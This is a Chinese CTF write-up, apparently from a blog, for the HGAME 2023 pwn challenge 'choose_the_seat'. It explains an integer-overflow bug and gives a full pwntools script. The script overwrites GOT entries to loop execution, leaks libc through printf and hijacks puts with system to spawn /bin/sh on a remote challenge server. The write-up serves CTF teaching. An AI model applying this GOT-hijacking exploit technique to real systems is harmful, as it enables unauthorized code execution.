【PWN · GOT表劫持 | 整数溢出】[HGAME 2023 week1]choose_the_seat

本文描述了一种利用整数溢出漏洞,通过修改got表并劫持puts函数实现的程序漏洞利用方法,包括exit_got的替换、libc的泄露以及puts函数的劫持,最终达到执行系统命令的目的。
摘要由CSDN通过智能技术生成

整数溢出,加之保护开的不全,可以反复越界修改got表,劫持puts函数实现利用

一、题目概述

限制:v0不可以大于9 

理想中数组所在bss端地址: 

注意到与got表项距离很近

 危险函数只能执行一遍,然后回exit(0)

二、思路如下

考虑到可以负数整数溢出,修改比seats地址还要低的区域(got表保护未开启

1. 为了重复利用漏洞,可以将exit的got表项改为vuln函数的地址

2. 泄露libc,可以借助printf函数,覆盖setbuff的got表项为b'aaaaaaaa',然后printf捎带出来的printf的真实地址

3. 构造后门函数,还是利用puts:将puts的got表劫持为system,输入时还是复写表项之前的8个字节为'/bin/sh\x00',同时劫持got表。相当于执行system('/bin/sh\x00')

二、exp

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28925)
elf=ELF('./pwn')
libc=ELF('./libc-2.31.so')
# gdb.attach(io)
# input()

### exit_got 改为 vuln
seats=0x4040a0
exit_got=0x404040
off=str((exit_got-seats)//16)
success('exit_got+'+off)
io.sendlineafter(b'one.\n',off.encode())
vuln=0x4011D6
io.sendafter(b'name\n',p64(vuln))

### leak libc
# print(hex(elf.got['setbuf']))
setbuf=0x404020
off=str((setbuf-seats)//16)
success('setbuf_got:'+off)
io.sendlineafter(b'one.\n',off.encode())
io.sendafter(b'name\n',b'aaaaaaaa')
io.recvuntil(b'aaaaaaaa')
printf_real=u64(io.recvuntil(b'\x7f').ljust(8,b'\x00'))
success('printf_real:'+hex(printf_real))
input()


### hijack puts_got
libc_base=printf_real-libc.sym['printf']
system_real=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))

putsminux8=0x404010
off=str((putsminux8-seats)//16)
io.sendlineafter(b'one.\n',off.encode())
io.sendafter(b'name\n',b'/bin/sh\x00'+p64(system_real))
input('++++++++++++++++++++')
io.interactive()

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值